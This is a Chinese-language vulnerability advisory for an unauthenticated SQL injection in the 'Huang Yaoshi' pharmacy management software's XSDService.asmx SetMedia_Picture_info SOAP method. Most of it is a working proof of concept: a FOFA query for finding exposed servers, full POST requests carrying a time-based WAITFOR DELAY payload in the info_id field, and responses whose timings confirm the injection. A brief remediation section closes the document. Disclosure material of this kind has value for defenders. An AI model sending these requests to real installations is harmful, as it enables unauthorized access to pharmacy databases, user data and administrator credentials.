

# 《黄药师》药业管理软件 SetMedia\_Picture\_info存在SQL注入漏洞

## 漏洞描述

《黄药师》药业管理软件XSDService.asmx处存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用此漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

## 影响版本

《黄药师》药业管理软件

## 漏洞状态

| 漏洞细节 | 漏洞POC | 漏洞EXP | 在野利用 |
|------|-------|-------|------|
| 是    | 已公开   | 已公开   | 已知   |

## 风险等级

| 维度    | 评价 |
|-------|----|
| 威胁等级  | 高危 |
| 影响面   | 广  |
| 攻击者价值 | 高  |
| 利用难度  | 低  |

## 漏洞复现

FOFA: body="XSDService.asmx"

POC/EXP:

POST /XSDService.asmx HTTP/1.1

Host: 127.0.0.1

Content-Type: text/xml; charset=utf-8

Content-Length: length

SOAPAction: "[http://tempuri.org/SetMedia\\_Picture\\_info](http://tempuri.org/SetMedia_Picture_info)"

```
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  soap:Body
    <SetMedia_Picture_info xmlns="http://tempuri.org/">
      <info_id>1';WAITFOR DELAY '0:0:5'--</info_id>
      <info_file_name>string</info_file_name>
```

```
<info_data>base64Binary</info_data>
</SetMedia_Picture_info>
/soap:Body
/soap:Envelope
```

Request

```
1 POST /XSDService.asmx HTTP/1.1
2 Host: 
3 Content-Type: text/xml; charset=utf-8
4 Content-Length: length
5 SOAPAction: "http://tempuri.org/SetMedia_Picture_info"
6
7 <?xml version="1.0" encoding="utf-8"?>
8 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9   <soap:Body>
10     <SetMedia_Picture_info xmlns="http://tempuri.org/">
11       <info_id>1;WAITFOR DELAY '0:0:5'--</info_id>
12       <info_file_name>string</info_file_name>
13       <info_data>base64Binary</info_data>
14     </SetMedia_Picture_info>
15   </soap:Body>
16 </soap:Envelope>
```

Responses 368bytes / 5087ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private, max-age=0
3 Content-Type: text/xml; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNet-Version: 4.0.30319
6 X-Powered-By: ASP.NET
7 Date: Tue, 26 Nov 2024 08:06:54 GMT
8 Content-Length: 368
9
10 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><SetMedia_Picture_infoResponse xmlns="http://tempuri.org/"><SetMedia_Picture_infoResult /></SetMedia_Picture_infoResponse></soap:Body></soap:Envelope>
```

Request

```
1 POST /XSDService.asmx HTTP/1.1
2 Host: 
3 Content-Type: text/xml; charset=utf-8
4 Content-Length: length
5 SOAPAction: "http://tempuri.org/SetMedia_Picture_info"
6
7 <?xml version="1.0" encoding="utf-8"?>
8 <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
9   <soap:Body>
10     <SetMedia_Picture_info xmlns="http://tempuri.org/">
11       <info_id>1;WAITFOR DELAY '0:0:8'--</info_id>
12       <info_file_name>string</info_file_name>
13       <info_data>base64Binary</info_data>
14     </SetMedia_Picture_info>
15   </soap:Body>
16 </soap:Envelope>
```

Responses 368bytes / 8120ms

```
1 HTTP/1.1 200 OK
2 Cache-Control: private, max-age=0
3 Content-Type: text/xml; charset=utf-8
4 Server: Microsoft-IIS/10.0
5 X-AspNet-Version: 4.0.30319
6 X-Powered-By: ASP.NET
7 Date: Tue, 26 Nov 2024 08:11:01 GMT
8 Content-Length: 368
9
10 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><soap:Body><SetMedia_Picture_infoResponse xmlns="http://tempuri.org/"><SetMedia_Picture_infoResult /></SetMedia_Picture_infoResponse></soap:Body></soap:Envelope>
```

## 漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本